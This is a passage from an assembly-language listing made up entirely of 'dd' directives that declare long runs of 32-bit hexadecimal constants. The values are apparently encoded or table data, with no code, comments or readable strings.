		dd 1616D94Fh, 9DE1FFA0h, 0F4C6897Fh, 0F7DE2F22h, 50FC27FBh
		dd 0F56966FBh, 677F1689h, 0AF57169Ch, 0C0058B35h, 0B45824E9h
		dd 1318EE2Ah, 0AB1C7E13h, 13083150h, 0AD90AEE9h, 30697CE6h
		dd 0DE222986h, 0FD3BD457h, 585020E9h, 74129866h, 9E4DED4Ah
		dd 146FA48Ch, 88D7B4D2h, 0D42718BEh, 44948332h,	70EA75BCh
		dd 0EE814CFEh, 60223FADh, 0C55CE61h, 9701BFB0h,	5C855E74h
		dd 0A252C331h, 0D130F3EEh, 398D0097h, 0BD552FF1h, 0BF4B015Bh
		dd 69F58103h, 7546F90Eh, 7284C8E5h, 289F21B7h, 0EF30612Bh
		dd 99EF5233h, 7FDBC302h, 2AC21A1Ch, 8093A42h, 4720970Fh
		dd 0E99F7E93h, 3A3F0D25h, 0BB48F58Ch, 7B950EF6h, 425709AEh
		dd 0DD207453h, 2255B501h, 2BAB6870h, 211C0026h,	0C1690466h
		dd 479CC1E1h, 0C36F92A8h, 23F31F00h, 0A9150D68h, 0FD3CB2C5h
		dd 4B0EB65Eh, 54145A0Bh, 1C066FF4h, 350A0EC5h, 0DCE3381Ah
		dd 5EDFA50Fh, 0BCC657E5h, 6169D4F8h, 3E4ADD59h,	0CA7D9077h
		dd 75950110h, 0D0095735h, 1999D446h, 133450Bh, 1D3686C2h
		dd 295E168Ah, 0D364E84Ch, 0AC95C4FBh, 0E2BFF516h, 2F178623h
		dd 5C82D11h, 43B748D4h,	0A2FAD2F5h, 4CBA403Dh, 3E6016BCh
		dd 0A0350872h, 80ABF318h, 748E2C1h, 8F0D3ED4h, 0E5572A46h
		dd 41EF9666h, 0B12231ABh, 7F97ED61h, 4FF6FC40h,	95AFD655h
		dd 0EF0CF2D6h, 0BB91CEDh, 43876D96h, 17B701F5h,	0BF704C0Fh
		dd 0BC9F0D9h, 2135FD5h,	0E40B6CD4h, 0AEDA47EEh,	59DC49B5h
		dd 910B8F83h, 4D44E93Fh, 17E88A2Fh, 6CAF2AFDh, 9149E99Eh
		dd 73092545h, 2D72899h,	5DBB5BECh, 0A140E7C1h, 3400AEF7h
		dd 3C05A917h, 140AF545h, 72DF829h, 0AE43F950h, 3FDF2944h
		dd 92F6ADC6h, 23B65397h, 930AA35Fh, 4A37B7AFh, 11D023B2h
		dd 0B47F5EC9h, 0C3D49519h, 0BC35262h, 7D6904F6h, 561C437Bh
		dd 164D4223h, 4F6285D6h
		dd 10050940h, 0A09EBFEFh, 0AA754D16h, 0A255EB6Ch, 8957401Bh
		dd 0EE2FC5D8h, 5FD2BA90h, 2D2757ABh, 135502h, 26CBC58Ch
		dd 12C6A93h, 8204FD5h, 16AD5A4Ch, 7C434E9h, 83E355B9h
		dd 0B4D5FBB7h, 0B42BC48h, 0E8567C03h, 0BE69A460h, 2558006Bh
		dd 5BBA2CDCh, 0D002F748h, 45D7782Dh, 0DF90C2B4h, 0E7A5EB02h
		dd 9318EE57h, 20224FBh,	61278BEh, 40838EF7h, 5B525342h
		dd 26E92E5Ah, 0D0564B62h, 31158488h, 7467AF1Eh,	539E7E2h
		dd 72EA8781h, 0C7601631h, 95CEBFC4h, 6A02D1F8h,	29630D06h
		dd 2D0808FEh, 34C588D4h, 685E9CEBh, 4E126238h, 49EFCAABh
		dd 4EA25F6Dh, 0A3E91162h, 3ABDB968h, 87B5216h, 627D08h
		dd 0CB80D2B3h, 0B00250A7h, 0F6512C70h, 0B2F05FD8h, 97EC05Ch
		dd 0F4281134h, 5C6A0886h, 94BF5702h, 0B74C35Bh,	504154DEh
		dd 502B1255h, 450B13B8h, 1B250B9Ah, 0C9CF9ED1h,	4F92D092h
		dd 0DCB4F1ADh, 4E5CF530h, 4F250180h, 0D4680D28h, 80F471E6h
		dd 19013A5h, 24BEAC1h, 21FD41BEh, 2E6AEFBDh, 607508FFh
		dd 0E7EB010Eh, 0D5793F55h, 51443A71h, 3CE2B5C0h, 0E0034A41h
		dd 1C5F22B3h, 0CBBAFD35h, 47680C16h, 9789C922h,	6FDF5342h
		dd 4FE822F3h, 6438D128h, 0DCB97F14h, 85DE838Eh,	23214568h
		dd 8CC0D27Ah, 0F2028130h, 651F3C01h, 11455509h,	86062AA8h
		dd 9679E16Dh, 0C6311CD0h, 598265E9h, 6D530F04h,	0C2890A8h
		dd 643847F5h, 250480Dh,	0F43BB4EAh, 0B5B18108h,	0D0FEF616h
		dd 846FD9Ch, 4114821Ch,	0AF05DAC2h, 0FF214E13h,	8104BDF8h
		dd 2490948h, 0E8EF5066h, 1209D331h, 0FC85044Eh,	0EBE92049h
		dd 9455951Dh, 2FF9BD68h, 0A800E648h, 5553F51h, 0C72B0516h
		dd 0E2524869h, 2CFE4A37h, 2D5C480Fh, 0A7DB160Fh, 255913BAh
		dd 54E90547h, 7EE14h, 4C043FFEh, 581351CBh, 64790B5Fh
		dd 0A633DB46h, 7AD3B356h, 956D7D77h, 77A73179h,	6810D08Dh
		dd 408D083h, 3903616Eh,	40F0B6BAh, 0F5F8E90Ch, 5E4477BEh
		dd 3708C8BAh, 15243972h, 92FFE52h, 3CF0B04h, 4C2D3093h
		dd 76BE36h, 0D8212450h,	67A8255Bh, 534CC01h, 28D1728h
		dd 47D54C80h, 27E95508h, 5FD7126Bh, 7827886Ch, 69BED634h
		dd 5A3CB680h, 7897377Eh, 4D02BD92h, 0BA60EBD1h,	0FD06F33Fh
		dd 8C06E9F5h, 0A585D03Ah, 0E4576F25h, 4AB9F2C7h, 0B9C9AECCh
		dd 0D52413E5h, 2CEF2D68h, 784B50F3h, 3B4C0053h,	0BF5D5F43h
		dd 0BC2FC4B8h, 0E3CC7CA0h, 0AE941EE9h, 38E177FCh, 86DE20C1h
		dd 813F1241h, 7AD4530Ch, 49EF8E34h, 66021AFCh, 0BEDC22CEh
		dd 88BDB060h, 795C97C6h, 0C2C07569h, 0DB9A46E9h, 2D298095h
		dd 48753296h, 2D7F5C25h, 637935BDh, 1A6C528Bh, 0ED50C08Bh
		dd 0C8C1C6Eh, 5DC212E9h, 26188234h, 0F0551230h,	8B0882C3h
		dd 3D89F70Bh, 0E2D1F95Dh, 856D868h, 5E04E962h, 85019508h
		dd 8171914Eh, 0A417E2Fh, 1A702BD2h, 0F861F13Eh,	0D4BF78D9h
		dd 1F04409Dh, 4E906AA8h, 51636E2Fh, 4E04C949h, 4A28EAE4h
		dd 185D241h, 48022D3Fh,	38C56013h, 0F345A3BFh, 51768920h
		dd 0D06AE961h, 6A92C3FAh, 18765B5Ch, 0F2450C90h, 0B6020A94h
		dd 0AB4315Ah, 0BC56F6BEh, 0F27B5572h, 0D6D5F7F8h, 4D34EB08h
		dd 4C29E6BBh, 2D700793h, 0FB94657Dh, 0A0D48D84h, 0FAD362BAh
		dd 81EF907Fh, 623209CFh, 37833530h, 6CA1A3C7h, 0AB1A8743h
		dd 801F0864h, 554A17EFh, 1824C17Dh, 6EF3E863h, 1351FEB1h
		dd 842845CEh, 0A598169Eh, 32E62A31h, 7E22AF4Eh,	0CA926A4Ah
		dd 694DDF30h, 9DDC79A5h, 0B438C0B8h, 7760BE02h,	16984177h
		dd 3B5E423Dh, 92CE0258h, 0D050E248h, 4B611659h,	0D74B1FF2h
		dd 4550AB2Dh, 9120DDh, 9DDFF781h, 0FD291AE1h, 0CB59AB98h
		dd 28684CB1h, 0D63CAE40h, 3008A63Ch, 9D197C02h,	2333C156h
		dd 12C2EE14h, 8811D1A3h, 55276260h, 7E5EEDC9h, 0BFE4E3FCh
		dd 0AD2B9F69h, 0C6BBF17Eh, 0E8EBD96Eh, 0FFA9106Fh, 6EE3CAD1h
		dd 1259633Fh, 22443D37h, 30AE6B42h, 66D7BD63h, 455CD07Ch
		dd 5BFB068Bh, 700C4714h, 63D43EA6h, 1644F502h, 0FD005906h
		dd 8064CA73h, 9096FD2h,	8BDDF753h, 0B8EE4197h, 68B6D32Ah
		dd 5D567EAAh, 85562A63h, 0D248A3AFh, 0BCA445ACh, 80BE2F9Eh
		dd 1DA06892h, 9E635149h, 2044793Fh, 0FA4E34E1h,	5A6B11A4h
		dd 981EB6D7h, 4192E912h, 0FC4D439h, 0B4614695h,	65090973h
		dd 0C8928B56h, 52B8D5F0h, 0DD12CEFEh, 3E04DDD8h, 0BA936DBDh
		dd 4B1F3CA0h, 1DA92F0h,	4B4A9A4Ch, 5105FBCAh, 0AA3F4CB9h
		dd 0E2F10E81h, 9527A5D8h, 14962750h, 6020BB60h,	0D664899h
		dd 494E8212h, 6774D56Eh, 708A68E1h, 854E716Fh, 5B870409h
		dd 288C5050h, 0AAD24FF7h, 535F1841h, 0C827C06h,	8CC05CE4h
		dd 0A29DD8D5h, 964374C7h, 0AEC6C4B1h, 0AE918CB7h, 5E1A7710h
		dd 0C02FC5A9h, 7F290AE1h, 0B4EC07C9h, 0EF16D04Bh, 615AA41Ah
		dd 27CB66FFh, 0A7203F99h, 436870D7h, 0AAE6895Ah, 3E8C102h
		dd 4AFCE0D1h, 575C622Dh, 60F20A7Eh, 28E9E1AFh, 0EE6CFEFDh
		dd 684C40C2h, 6453EC0Fh, 0AE8C4674h, 0D4EB0653h, 0C30CD4Bh
		dd 71631A0Bh, 5A0B7DBAh, 0E5824F74h, 8EC641C5h,	592FC1EDh
		dd 8E84223Eh, 0BE6B5E75h, 3CB85C0h, 8277503Bh, 0BAD795C7h
		dd 9B79F58Fh, 58207828h, 0FC5A4E9Bh, 0E37A70E7h, 49B0D795h
		dd 0BB9D0E50h, 149305CBh, 80532A1Ah, 1D3A85B6h,	0C31A34B8h
		dd 2BE3158h, 0F5698E9Dh, 19BD1490h, 0F0763525h,	0D446098Dh
		dd 4D5618B2h, 284F225h,	1CEA7196h, 0CC7F4A68h, 153301EBh
		dd 0C6E97EFAh, 0CDE27E8Eh, 0E94944B2h, 4829255Fh, 3B41CF01h
		dd 0C930CC31h, 226218C6h, 52050C57h, 5BF2352Ch,	58910B2Dh
		dd 5C75A78h, 0BAC08321h, 0E90CB19Ah, 0BB360DB8h, 0E4293609h
		dd 96F95501h, 59C99F09h, 31702589h, 71274025h, 0E068049Ah
		dd 17E2A33Fh, 3AA2B1B8h, 2E7A6804h, 71F4FEE8h, 2F57B652h
		dd 0C0E5418Bh, 4E81D712h, 4721D488h, 0FF54BD3Ch, 681A4094h
		dd 0DB719325h, 59018A6Bh, 53844A5h, 4B8BDE29h, 61D0FC4Eh
		dd 3156E9E8h, 2D7BD12Eh, 36300642h, 0AD703AB3h,	0D10D6A90h
		dd 0F93B963Fh, 0B052133Bh, 0E7CB94Ah, 57D60297h, 0F7B9C253h
		dd 67C898CAh, 46BF5245h, 4009358Ch, 329F88Bh, 257922C5h
		dd 0E9F5C839h, 0AC97D7AEh, 87842C7Ch, 85CFAFAEh, 0AE80CDAh
		dd 2911D2CCh, 51076B90h, 0C6885253h, 0EAF4F727h, 3D10B4AFh
		dd 673B7F1Eh, 0AC59DD2h, 0AF61B4BFh, 0C85C47CCh, 0A5139BDh
		dd 7E04D84Ch, 0AA74C726h, 79A37601h, 987F5B09h,	5A094CFEh
		dd 44D58A9h, 0F5A30DD9h, 0AAE18465h, 179E6430h,	4F477D9Dh
		dd 0F10B4072h, 741EFB1Dh, 0E9D12924h, 680ACA10h, 88F00B57h
		dd 591CFECEh, 11EEDF7Bh, 23D39001h, 0D1584782h,	70962D87h
		dd 2E500F4h, 3772DA5h, 42B73A6Fh, 20709DAh, 7ADABF6h, 0CD5311BDh
		dd 5A23302Ch, 327C1B1Dh, 22F284BCh, 0E8017C3h, 48435570h
		dd 540BE837h, 53D0A859h, 178F4809h, 955EF009h, 0E92C59D8h
		dd 0B98095B7h, 45591ED0h, 0E7CF7429h, 0D2B3F26Ah, 0A686560h
		dd 5339B5Eh, 3FE44DFh, 558FCAC9h, 0DC816BCAh, 43841DB0h
		dd 334D59C3h, 8B4E7812h, 62BAD4C5h, 49745461h, 0B87E808Bh
		dd 5F76E9D8h, 3B3389F5h, 8A1309B6h, 3770AE8Eh, 954D1E68h
		dd 2D5A9616h, 292EACB9h, 0A0480A1Bh, 0E515BC1Fh, 4474F72Bh
		dd 42B5A332h
		dd 29BC6FEFh, 65320882h, 6937F42Fh, 18F68FFDh, 4036CB8h
		dd 0E94F1B0Dh, 5A3BB8FEh, 2F9CCBE2h, 42253BF4h,	6D9E55AFh
		dd 0DDD5329Dh, 5C61BB5Ah, 1AE7682Dh, 0B953303Ah, 9D2F12E0h
		dd 0F1348076h, 76682DD3h, 6AE1056Fh, 0EF4D130Fh, 2026323h
		dd 0CBD5E8F0h, 565D896Fh, 0E45752E1h, 0E9401623h, 882AE0F6h
		dd 3B95F558h, 9A4BFBC5h, 5D958EC1h, 431EF46Bh, 0F64D612Dh
		dd 0B00512F9h, 7E0ECF06h, 0DE20F00Dh, 858D31C2h, 0F078F7A2h
		dd 5E4480FDh, 5B5A5352h, 0B934F64Bh, 0B0F30036h, 89261E18h
		dd 10DADE59h, 5F01362Dh, 0BD3C0605h, 4DB7E860h,	55B032F0h
		dd 20745F9h, 0B454B0A4h, 0AB25870h, 0CFFE5801h,	802DB151h
		dd 0C9C0C13Ah, 0B8C1D82Eh, 0F09C21EFh, 0B2FC1FC7h, 4FB6365Fh
		dd 33F568C2h, 0C3623754h, 6074FE62h, 3E8021F2h,	30AEB905h
		dd 0F2A8276Dh, 0EC39D540h, 0A8056746h, 3F50C2C2h, 0B58BB40h
		dd 727D382Dh, 2690FCF3h, 1223C982h, 0BF5D4932h,	186227Dh
		dd 0EDC40F7Ch, 927ABD57h, 0EEC4F0EFh, 21BB095Bh, 2C54396Bh
		dd 595581CDh, 38F0455Dh, 12A29DC9h, 0C8829E03h,	0B8002202h
		dd 2E3B43BAh, 3E202558h, 878711BAh, 0A0522F4Eh,	45B86291h
		dd 180546FEh, 3DE9337Ah, 0DF05E590h, 0F4F3B0FEh, 0B8CE4E0Eh
		dd 9DE2D7D8h, 7AC622B5h, 0F6259A76h, 169DCFEAh,	6803336Dh
		dd 5AFA4186h, 0E66EC2B7h, 40055FE0h, 8E5AEEC8h,	0DBF662D9h
		dd 7CA3514Ah, 4447E11Ah, 18A24475h, 5905A768h, 0DC82E27Ch
		dd 2B518B8Ah, 2F469C57h, 1C74C831h, 4C5E92C3h, 0F471F01Dh
		dd 788FF872h, 0AE70BF28h, 0E9F80683h, 2DAB43F2h, 6857450Fh
		dd 4FD7FCFDh, 49B38321h, 68D7B1A7h, 272A1C58h, 5F00225Fh
		dd 4F34048Eh, 9B3BEDFAh, 0D0055ECCh, 0C347555Dh, 3C98BEE9h
		dd 0F580CE9h, 9B4B19B0h, 0D25EF709h, 30FE2709h,	0CF82B31Ah
		dd 2D00DBC4h, 4FAF7115h, 1A0B0CEh, 0B850D10Eh, 1A2E65FBh
		dd 0B0E68782h, 0C39473B7h, 80EA2810h, 0C299CC93h, 69EB2F23h
		dd 5DF67FA0h, 3EAC003h,	3C7FCAFEh, 129C7095h, 0F2C388BBh
		dd 522D6645h, 0D50620B0h, 5ABF8A90h, 0FDF2EDE5h, 6EFFF1CAh
		dd 6CD69D8Ah, 161E75AFh, 5481449Fh, 4C599AEDh, 66A89C0h
		dd 56F90DD4h, 9FE94147h, 62BB0133h, 95147AE4h, 0BC0B1978h
		dd 420DFF45h, 38C6C19Ch, 2D787223h, 686ED119h, 3D6A6810h
		dd 5963E918h, 41328BFh,	0E2BE4D9Fh, 298913B1h, 0D3A01391h
		dd 4E5E8B2Ah, 16820275h, 666C7D1Fh, 0A1C89729h,	38F73D07h
		dd 0B0BE2954h, 200422BBh, 8EE92C4Dh, 1FBA39B0h,	4D0F13A6h
		dd 6B0BA2BDh, 2BE9C44Eh, 55CEAB1Ah, 30524414h, 0F7BE10ACh
		dd 0B309974Ch, 51F5D510h, 0E9093B66h, 0F272114Dh, 0F20C81FCh
		dd 1CEE41B2h, 75A4AA7Ah, 159C173Eh, 0F20B5D26h,	9D045772h
		dd 0C0FE5271h, 0E0A14CA2h, 0C5899C16h, 0D43108h, 0E7C02CB7h
		dd 0CF3E8006h, 8B22A566h, 8E8B5761h, 688BDB71h,	13E669ACh
		dd 0EF18C42Bh, 84C578F3h, 63FA20DAh, 45028E4Ch,	95FFE89h
		dd 1A81DDF7h, 0C67A6166h, 305B2CE0h, 31ED2B19h,	5FE0571Eh
		dd 0C4D94BE9h, 0FEE2562Fh, 0AD4FD99Ah, 61BE80ABh, 0DC790B5Dh
		dd 0BB6FC024h, 592EE944h, 0F6F05A81h, 0A26E0684h, 40D6F708h
		dd 96C71409h, 0A61277EFh, 9D7D957Dh, 0AF4912E9h, 297BCFB6h
		dd 8C3614h, 7C6E6739h, 5300FD01h, 680A31BBh, 4EAEE90Fh
		dd 29907115h, 73C1FCC2h, 0AB85A6A8h, 16AE0D80h,	265BF70h
		dd 0C895B7C5h, 0DA08EC76h, 9791A074h, 0E9D83CFEh, 4E1B5967h
		dd 997413Bh, 0AE9CB4E3h, 0C9450728h, 7EC6C204h,	0F1FE03A7h
		dd 5F0800F6h, 22D0DA01h, 525B1617h, 836C4789h, 0FA68910h
		dd 0CE29B335h, 66F273B1h, 790BD6D0h, 4026A38h, 84C282CEh
		dd 3EE62C40h, 5CF94F18h, 27686E0Ch, 43FE7222h, 0B80B9B40h
		dd 0B453B848h, 5A005BCCh, 48996EBAh, 9D0F0BE9h,	662D0314h
		dd 7D0D9A08h, 0DE4629A1h, 34B62F42h, 5FD33132h,	25E1FB7Fh
		dd 87D4D472h, 0C001395Ch, 3051775Ah, 0BF0EB7CCh, 31582BBCh
		dd 0C0DF3D59h, 599AEC52h, 0AD965085h, 0DE6D16A5h, 8D5EDCE7h
		dd 0BC5A4085h, 60EF612Ch, 0D312485Ah, 0DFECCB9Eh, 0BEB0134Bh
		dd 0B58FB7F3h, 6330BED6h, 5CBA277Ah, 9706F12Ah,	0A64FC147h
		dd 0E5402EE7h, 7CD922C9h, 0E4FA6231h, 560BE4C0h, 2EDE0CA0h
		dd 8E0BEBADh, 74839895h, 0D5A03A3Bh, 58ADD49Fh,	0F22617BCh
		dd 7B019113h, 0E9392260h, 95685FD6h, 6A8A518Fh,	254855E6h
		dd 3EEC8059h, 0C7AC06CEh, 0F4937DC4h, 393421DFh, 4BE1888Eh
		dd 0C16DB8CAh, 2E22B562h, 2954ABFCh, 0E47F5F71h, 0F65C71D0h
		dd 11CB8631h, 2B109F1Eh, 5B940493h, 38925347h, 6AD9D55Eh
		dd 0D760680Bh, 55C70BB0h, 5BA3509Fh, 0E1D7901Eh, 8B251591h
		dd 1792A15Ah, 0DDE64387h, 0C14C3C6Eh, 0F3E909DBh, 811E20A8h
		dd 0B8B644C3h, 29194078h, 495D648h, 48A457EBh, 0F1894781h
		dd 5E09B26Ch, 0DA305401h, 708281DFh, 0BB2D01E7h, 894D4786h
		dd 87DB6CC3h, 0DF791C62h, 34892CFBh, 7038A03Ch,	0F413743Fh
		dd 8C0D5B6Ah, 0EF5083F6h, 32FDC4BFh, 0C601827Bh, 0E9FCD255h
		dd 9F99FFE2h, 0A5C03854h, 0DC01C024h, 7C012265h, 19CD3Eh
		dd 685A5F0Ch, 9B3B8C25h, 1953D878h, 72E19758h, 0FDA7E3h
		dd 6116F9FDh, 0FD091770h, 1E0095Fh, 938312B2h, 2D92432Fh
		dd 0D847E277h, 0C9F23EA8h, 8F2C281Dh, 0CE6F3E2h, 0FC090C23h
		dd 8019EB1Fh, 8606FEA5h, 0EDE94F0Eh, 89BD2C90h,	5A345C0Dh
		dd 7BB0B1D7h, 2D6C3775h, 250F85Fh, 8902AEF5h, 6AFE40ABh
		dd 352E243Ah, 0E7591C0Eh, 0B09A942h, 2102B2D6h,	577E0923h
		dd 2A42FCC3h, 0C229200Bh, 4952AE12h, 90844D63h,	8903BAFAh
		dd 12EF0E3Dh, 0C8445878h, 0B6EC1304h, 0D821B6C5h, 37120E43h
		dd 47012BA2h, 42D64D83h, 0E9F0803Bh, 3AE1336Fh,	286A72EAh
		dd 0DFEC0858h, 15ABDF97h, 17FF1EFFh, 0BD03EEE9h, 5BC748D6h
		dd 604CECA0h, 0AAB31610h, 9A26C380h, 0A8084028h, 580B25ABh
		dd 0AFDE6104h, 0F0C9B3B2h, 306D6355h, 86514E38h, 0D367F6DEh
		dd 3A518008h, 0F7C9FE30h, 9CA0C204h, 0F202CA28h, 0C0370B26h
		dd 0B5758FADh, 87BE6C18h, 12EE469Dh, 0FBC30E7Ah, 0FD068C0Ah
		dd 0B81CE902h, 660B755Ch, 0E392580Eh, 0E872252Eh, 8A090F63h
		dd 0E65A6475h, 0FA2FC102h, 51615468h, 2E5A5811h, 0EE4BEDF2h
		dd 24685338h, 8CE87D96h, 0BD4E8015h, 0D851670Bh, 4F2560Eh
		dd 0AA347668h, 56571332h, 0B6FD2DC8h, 0A22B765h, 0DF0B1865h
		dd 641F4045h, 3E0999EBh, 30FFB038h, 0A3C5B5F3h,	2D06E208h
		dd 0DCB10CD2h, 60765D52h, 7E0B5FA7h, 114D9075h,	5398978Dh
		dd 0D99DB12Eh, 0A5104B55h, 0CE9F477Bh, 5F57508Eh, 6F1A4170h
		dd 123DA4F0h, 0EFB59B8Eh, 845FCA0Eh, 0D0B25BD9h, 4B27F297h
		dd 0C6C97CE9h, 295B615Dh, 41983D20h, 153D479h, 5A4F7292h
		dd 40B09FBCh, 0CC01C780h, 0F6C1B551h, 0BCF1E9DDh, 7411D13Fh
		dd 7B63F3Eh, 4B3A3511h,	2CA0C3BBh, 587F12AEh, 0F7B1A2Ah
		dd 109AFEF0h, 1C1528DCh, 0FAB284A1h, 0F2565D07h, 2175F8D7h
		dd 0B33A800Fh, 7CF1DB71h, 0A3EB0640h, 38352F72h, 80254CAh
		dd 0F4FAB1E9h, 3A88C651h, 0DF943458h, 80B8954Bh, 0E78827BAh
		dd 0CA7912BBh, 7A30936h, 5DEB5821h, 6F8F2E31h, 0C8E9127Eh
		dd 53413042h, 36F6F8B7h, 0C5593060h, 9FBF644Ah,	78335CC0h
		dd 1861A430h, 76E311C7h
		dd 12ED0144h, 2956F002h, 81CA0D5h, 4E141CD0h, 0C603D1CBh
		dd 316373CBh, 6FD20C1Dh, 0B1BB5793h, 0C080667h,	3DE91480h
		dd 7FE6F755h, 44384AECh, 931EBD40h, 0AC300718h,	5FF8E78Dh
		dd 84EA13BBh, 11BF43AFh, 0FBC84F9Ah, 0A105BE56h, 0F70BE238h
		dd 4A4527D0h, 827D977Ch, 0DD4160FAh, 79754A1Ah,	0B2F24B7Ch
		dd 1FE95108h, 12D02053h, 0E3353F68h, 89D527DAh,	2D4AA07Dh
		dd 9069A21Ch, 40894EA5h, 2766EE38h, 8BF85033h, 3C443F41h
		dd 7BF8BB12h, 6609AC4h,	35AA8958h, 42452D03h, 529162D3h
		dd 38013FC1h, 0E80892B3h, 0AAD72DAEh, 0BA0863CFh, 417F2565h
		dd 0D9C75DEFh, 223FAFE8h, 55544E56h, 0FDC1AB52h, 59AD2217h
		dd 8CF0C2D6h, 0D5FBBA05h, 40BBF7Dh, 8107D55Eh, 696FA050h
		dd 84A1333Ah, 746D298Dh, 78A44A5Eh, 75401E98h, 0B019D21Bh
		dd 45276863h, 0BFEE517Dh, 0DC021327h, 0E05595B6h, 0DFDEF694h
		dd 25828904h, 0E7886F54h, 0AA2913AAh, 37E8CAB1h, 0C6C7C308h
		dd 7C8ACDFAh, 2F6610D5h, 3ACE257Ah, 0EB96CE56h,	0F4518DF9h
		dd 892C66E9h, 7D0A0503h, 41AF42EEh, 0C429FA47h,	7A32DD8h
		dd 0A5111EADh, 68C50155h, 0BB7C3AA7h, 5A4A1DC0h, 0E1738117h
		dd 18D46414h, 7E4204B0h, 93AB7CDAh, 0F1D8087Fh,	18269E82h
		dd 4B3886DCh, 0C658D30h, 0C2D6A22Eh, 9FDF7237h,	962043D8h
		dd 0A124A06Dh, 71C6B715h, 0C4234425h, 65E5F177h, 5AD65987h
		dd 2532925Fh, 0F6E2AFFEh, 2C4DFF1h, 0E9858F4Bh,	2805CBFAh
		dd 5695BD21h, 4EB72456h, 0AD4E68C9h, 55566616h,	8DC495E2h
		dd 0C2FB350Dh, 897D697Ah, 235B8F78h, 0ECEF4235h, 6BFB34F0h
		dd 8BDB5E17h, 40ACB726h, 29AE6213h, 30F93BF4h, 12A3FAB5h
		dd 0B9968F94h, 40DC9E7Dh, 8916D52Fh, 0E524F695h, 5CC055Ch
		dd 6780E29Fh, 1BDB583Bh, 525550F1h, 26411861h, 70760C68h
		dd 315C067Fh, 6EA4B7Bh,	4F7D2252h, 9E25D877h, 4616F7DDh
		dd 264FE5FCh, 0E2D2E8A9h, 3CA6947Dh, 0DD556E56h, 0FD9C3AC9h
		dd 49FAA594h, 96A5404Bh, 0D31FE2Eh, 7CED6856h, 0CA109576h
		dd 17B503ADh, 99F5ED80h, 8328FDCDh, 0DD289608h,	13685040h
		dd 0C1F3B76Eh, 1AF97549h, 4184E9E5h, 535EF0D2h,	11FE0926h
		dd 0A1988F79h, 0FE57AD11h, 8D324F19h, 27E3E461h, 1351F54Ch
		dd 74E951B8h, 82FCC62Fh, 123F7CA6h, 0D1A88471h,	729BFED8h
		dd 2B575FA9h, 0A8D3E2E2h, 90568412h, 2F5D2D09h,	0BE9F4655h
		dd 4491DE57h, 0E0FEFCA9h, 4D5BB3F9h, 2A057A90h,	4F7667h
		dd 0DA22E3CEh, 7854E94Ch, 0CBC723C0h, 3353B449h, 4D10DFF7h
		dd 2AA81AB1h, 0D65F04FFh, 40EA1752h, 822F59Dh, 77906B4Dh
		dd 44406D13h, 0B9EB5C00h, 1846B83Eh, 342A0AE9h,	5E061FBFh
		dd 0EFC10F6Ah, 75CF053Eh, 0C3397978h, 8A14173h,	3D788363h
		dd 1191046h, 55BEEB0Ch,	88F98906h, 1FD2084h, 61781EB8h
		dd 2D83E834h, 0E6B449Dh, 27E51CA4h, 1ECA43DFh, 43AA7FC7h
		dd 0B200795Ch, 80E2D0D1h, 0E8ECB8C2h, 7CE95A7h,	156A0FBFh
		dd 86A95A9Eh, 4B80F94Eh, 141CCBEBh, 4BBBFBEEh, 10663EAh
		dd 34C99D4Ah, 9075CB6Eh, 54EDC92Fh, 4F542DFDh, 17E52056h
		dd 772BBA07h, 0FCA216F1h, 92897C1Ah, 0A952564Dh, 0C782A4C3h
		dd 0F80E0EC2h, 7E428CE9h, 68135414h, 0E3AC5221h, 0C40287D6h
		dd 0EAD100FAh, 9BCCA81h, 4A6C6F01h, 157A7300h, 78B57EEFh
		dd 2B311CA4h, 8DCCFC13h, 708CE705h, 2DECE0h, 188E5B1Ah
		dd 28E9FA01h, 2E64242Bh, 6FE19221h, 37D016CBh, 6719B907h
		dd 0B5A7447Ah, 12FE143Ch, 5F780CFh, 40DCC8D2h, 68D029C9h
		dd 59E38C7h, 0E1195E60h, 9649078h, 2BAEF298h, 80E61502h
		dd 0CF3810Fh, 8230D5CFh, 0A5989DB0h, 0B87BB450h, 2D301032h
		dd 9D11572Ch, 3C032A5Bh, 0F8A2EA08h, 0B55260E9h, 0B6C8B94Eh
		dd 47F2CABh, 80A62AB2h,	2709E208h, 0C16FBF1Dh, 85829FAEh
		dd 0F77ED33Fh, 0E948B3E8h, 4AB9C349h, 0F18783EAh, 0B06E3FFFh
		dd 5D580417h, 0F3BF00FBh, 3865710Dh, 0DEBEF81h,	0E9423C79h
		dd 0F2ED6B7Eh, 8B31C0C5h, 0F1D45A61h, 39E32F1Fh, 3A205AD4h
		dd 9FA054Eh, 0E37F2DFAh, 0E0FAD5C9h, 68135AA9h,	3CA37F55h
		dd 31725780h, 0BD3B0520h, 1628354h, 0DD4268C8h,	26EE9F5h
		dd 952CACD4h, 0B76042D4h, 4D0BE9BCh, 0E3055A42h, 87D38703h
		dd 0BF5439AEh, 0F157FADh, 0DD35A4B2h, 0C957F39Ah, 43B316Ah
		dd 902AAD10h, 0D71B03C9h, 0F7AD614Ah, 4406F203h, 90B7209Fh
		dd 157EF362h, 35261E90h, 17AC5C2Ch, 0F522C9E2h,	94687698h
		dd 0C8DA075Ah, 27F75125h, 506259E8h, 0A7D9D949h, 63A82D74h
		dd 740AA734h, 0E495ECEFh, 0B6FBA152h, 3A309292h, 91376468h
		dd 3D7AC7Fh, 742E71BDh,	117B444Ch, 452FB759h, 47926DFEh
		dd 9DC580FAh, 3325E935h, 0D6171220h, 77EAC0BEh,	86903613h
		dd 8121B107h, 7789E909h, 7C928A0h, 54092B49h, 0E64BEB68h
		dd 0BD520F0h, 464AB9FAh, 0AB929EADh, 0EF02A8F3h, 2D7F7113h
		dd 3C425AE2h, 35070809h, 0DE30389Ah, 977C5F3Ch,	0B722FE00h
		dd 31160C74h, 771D5DEEh, 0C7998E99h, 50376D3h, 0D6BD83F7h
		dd 0CA89EF8Dh, 23A80041h, 1505537Dh, 907FE30Dh,	1174E7BEh
		dd 51352C01h, 4A64BDB9h, 4D47E9C4h, 0A40572F4h,	4D9C30h
		dd 8322E28Ch, 0EA008133h, 1D0EF80Ch, 4DE9D131h,	0BA5B2582h
		dd 277C6636h, 41222AACh, 0DD0BC133h, 64E908BBh,	0F76B60FAh
		dd 0C64ED764h, 89C75F1Eh, 53903A51h, 0F7780D26h, 0D0BE53F6h
		dd 0E558540Eh, 0D0E902D4h, 0FB71B407h, 25E4B255h, 0BC4F937Ch
		dd 304FBBD3h, 88C5E4FBh, 5A79EAF3h, 4A2C0965h, 67C29400h
		dd 0A5983B08h, 0C141FA01h, 0A109E932h, 0C6888F8Bh, 12815A04h
		dd 8606C5F8h, 8842C74Fh, 2EC2C03h, 0B9CD2927h, 28B07223h
